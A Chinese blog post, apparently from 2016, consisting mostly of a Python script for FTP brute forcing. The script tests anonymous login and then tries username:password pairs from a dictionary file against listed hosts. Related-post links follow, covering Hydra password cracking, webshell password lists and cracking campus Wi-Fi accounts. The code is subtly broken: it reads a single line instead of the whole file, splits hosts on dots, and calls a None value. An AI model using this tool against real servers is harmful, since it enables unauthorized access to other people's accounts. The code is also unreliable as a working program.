FTP弱密码包爆破

原创 2016年08月31日 16:43:00
#_*_coding_*_:utf-8
from ftplib import *
import argparse
import time
def anonScan(hostname):
    try:
        with FTP(hostname) as ftp:
            ftp.login()
            print ('\n[*] ' + str(hostname) + "FTP Anonymous login successful!")
            return True
    except Exception as e:
        print ('\n[-] ' + str(hostname) + "FTP Anony,ous logon failure!")
        return False
def vlcLogin(hostname,pwdFile):
    try:
        with open(pwdFile,'r') as pf:
            for line in pf.readline():
                time.sleep(1)
                userName = line.split(':')[0]
                passWord = line.split(':')[1].strip('\r').strip('\n')
                print('[+] Trying:' + userName + ':' + passWord)
                try:
                    with FTP(hostname) as ftp:
                        ftp.login(userName,passWord)
                        print ('\n[+]' + str(hostname) + 'FTP login successful:'+ userName + ':' + passWord)
                except Exception as e:
                    pass
    except IOError as e:
        print ('Error: the password file does not exist!')
    print ('\n[-] Cannot crack the FTP password please change the password dictionary try again')
    return (None,None)
def main():
    parser = argparse.ArgumentParser(description='FTP Scanner')
    parser.add_argument('-H',dest='hostName',help='The host list with"," space')
    parser.add_argument('-f',dest='pwdFile',help='Password dictionadry file')
    options = None
    try:
        options = parser.parse_args()
    except:
        print(parser.parse_args(['-h']))
        exit(0)
    hostNames = str(options.hostName).split('.')
    pwdFile = options.pwdFile
    if hostNames == ['None']:
        print(parser.parse_args(['-h']))
        exit(0)
    for hostName in hostNames:
        username = None
        password = None
        if anonScan(hostName) == True:
            print ('Host: ' + hostName + 'Can anonymously!')
        elif pwdFile != None:
            print ('\n[+] Host: ' + hostName + 'Username:' + username + 'Password:' + password())
    print ('\n[*]------------Scan End!___________________[*]')
if __name__ == '__main__':
    main()


版权声明:本文为博主原创文章,未经博主允许不得转载。

Delphi7高级应用开发随书源码

  • 2003年04月30日 00:00
  • 676KB
  • 下载

九头蛇 Hydra 在线密码破解(ftp,ssh,各种)

-R 继续从上一次进度接着破解 -S 采用SSL链接 -s PORT 如果非默认端口,可通过这个参数指定 -l LOGIN 小写,用于指定破解的用户,对特定用户破解 -L FI...

Delphi7高级应用开发随书源码

  • 2003年04月30日 00:00
  • 676KB
  • 下载

Delphi7高级应用开发随书源码

  • 2003年04月30日 00:00
  • 676KB
  • 下载

Python绝技笔记--------FTP匿名访问检测、用户名密码爆破、扫描是否存在web服务默认网页

利用ftplib模块 很简单,先获取ftp,然后匿名访问的话用户名是 anonymous# -*- coding: UTF-8 -*- import ftplib def anonLogin(hos...

python3之编写ftp爆破

python3之编写ftp爆破 这里开启metasploitable2,上面默认开启FTP服务,账号密码为msfadmin:msfadmin。下面先实现FTP登录的功能: import ftplib...

中国移动CMCC-EDU无线账号密码爆破

某一页面的验证没有加时间戳等验证,只要发送账号密码就ok,可以通过这种方式大规模测试出账号的密码(6位纯数字),高校的手机号基本都是一个号码段的... 详细说明: 连上CMCC-EDU后如图 ...

国内各类 WebShell 密码大全 爆破、社工用 webshell-password

转自:http://www.zbeol.com/blog/post/1856.html !@#123 ******* 000 1 10011C120105101 111 12...
  • kezhen
  • kezhen
  • 2015年07月13日 17:44
  • 2486

Python 测试密码极速爆破工具 – cheetah

Python 测试密码极速爆破工具 – cheetah 。cheetah需requests模块。为安装requests模块但是还没有setuptools模块。...

国内各类 WebShell 密码大全 爆破、社工用 webshell-password

转自:http://www.zbeol.com/blog/post/1856.html !@#123 ******* 000 1 10011C120105101 111 ...
  • ncafei
  • ncafei
  • 2017年03月27日 23:51
  • 508
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:FTP弱密码包爆破
举报原因:
原因补充:

(最多只允许输入30个字)